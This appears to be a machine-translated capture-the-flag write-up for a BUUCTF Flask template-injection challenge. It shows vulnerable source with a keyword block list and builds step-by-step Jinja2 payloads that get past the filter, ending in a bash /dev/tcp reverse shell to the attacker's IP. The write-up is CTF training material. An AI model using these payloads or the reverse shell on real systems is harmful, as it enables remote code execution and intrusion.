A total of 2789 characters, expected to take 7 minutes to complete reading.
Title
In BUUCTF The source code of a topic I saw on the website is as follows (stripped down after obtaining permission):

from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
try:
iname = request.form.get('code')
bl = ['_', '.', '\\', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']',"class", "arg", "form", "value", "data", "request", "init", "global", "popen", "mro", "base","cat" ,'flag', 'getitem', 'read', 'os']
for i in bl:
if i in iname:
return render_template_string("Oops,it's not a name\nWhy your name contains so much invalid punctuation and keywords?")
return render_template_string("Hello %s,\nIn case I don't see you,good afternoon,good evening and good night" % iname)
except:
assert "Sorry,I don't know what you mean"
if __name__ == '__main__':
app.run(host='0.0.0.0')
Ideas
Just start opening the page like this:

Enter any string of characters and click Click It will be shown, obviously there may be template injection here.
display page source code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Truman Show</title>
<script type="text/javascript" src="/static/js/jquery.min.js"></script>
<script type="text/javascript" src="/static/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="/static/css/app.css" type="text/css">
</head>
<body>
<div class="title">
<h1>Enter you name:</h1>
</div>
<div class="main">
<form method="POST" onsubmit="return ssti()">
<input id="borderDemo" type="text" name="code">
<button class="btn">Click</button>
</form>
</div>
<br/>
<pre style="text-align: center;" id="iname">
</pre>
<script>
function ssti() {
$.post({
url: `/`,
contentType: "application/x-www-form-urlencoded",
data: `code=${encodeURIComponent($("input[name='code']").val())}`,
success: iname => {$("#iname").html(iname)
}
});
return false
}
</script>
</body>
</html>
To /
Submission POST
Data code={{4*4}}
found echoed16
, proving the existence of template injection.
Try to construct __import__('os').system('')
After testing, it was found.
,"
,_
and\
Wait, it can't be used.\
Meaning we can't use unicode and hexadecimal bypasses.
We can use |attr()
Come around .
, the key statement can be used.chr()
function to bypass. Due eval()
The function test is not detected by the keyword, so you can try to use it to execute the command.
Get First chr()
Function:
lipsum.__globals__.get('__builtins__').__getitem__('chr')
But to get around .
and__globals__
And so on keywords, so changed:
# 获得 __globals__ 字符
{%set glo=(xia,xia,dict(glo=a,bals=a)|join,xia,xia)|join%}
# 获得 __builtins__ 字符
{%set built=(xia,xia,dict(buil=a,tins=a)|join,xia,xia)|join%}
# 获得 __getitem__ 字符
{%set geite=(xia,xia,dict(ge=a,tit=a,em=a)|join,xia,xia)|join%}
# 获得 builtins 内置方法
{%set a=(lipsum|attr(glo))|attr('get')(built)%}
# 获得 chr() 函数
{%set chr=a|attr(geite)('chr')%}
Re-acquisition eval()
function, also inside the built-in function, so just:
a|attr(geite)('eval')(' 命令内容 ')
command content chr()
Encryption can be, the final constructionPayLoad:
{%set glo=(xia,xia,dict(glo=a,bals=a)|join,xia,xia)|join%}
{%set built=(xia,xia,dict(buil=a,tins=a)|join,xia,xia)|join%}
{%set a=(lipsum|attr(glo))|attr('get')(built)%}
{%set geite=(xia,xia,dict(ge=a,tit=a,em=a)|join,xia,xia)|join%}
{%set chr=a|attr(geite)('chr')%}
{{a|attr(geite)('eval')
(__import__('os').system("bash -c 'exec bash -i >& /dev/tcp/ 你的 IP 地址 / 你的端口 0>&1 2>&1'")
)
}}
Among them __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/ 你的 IP 地址 / 你的端口 0>&1 2>&1'")
Changed chr(95)~chr(95)~chr(105)~chr(109) 等等
You can.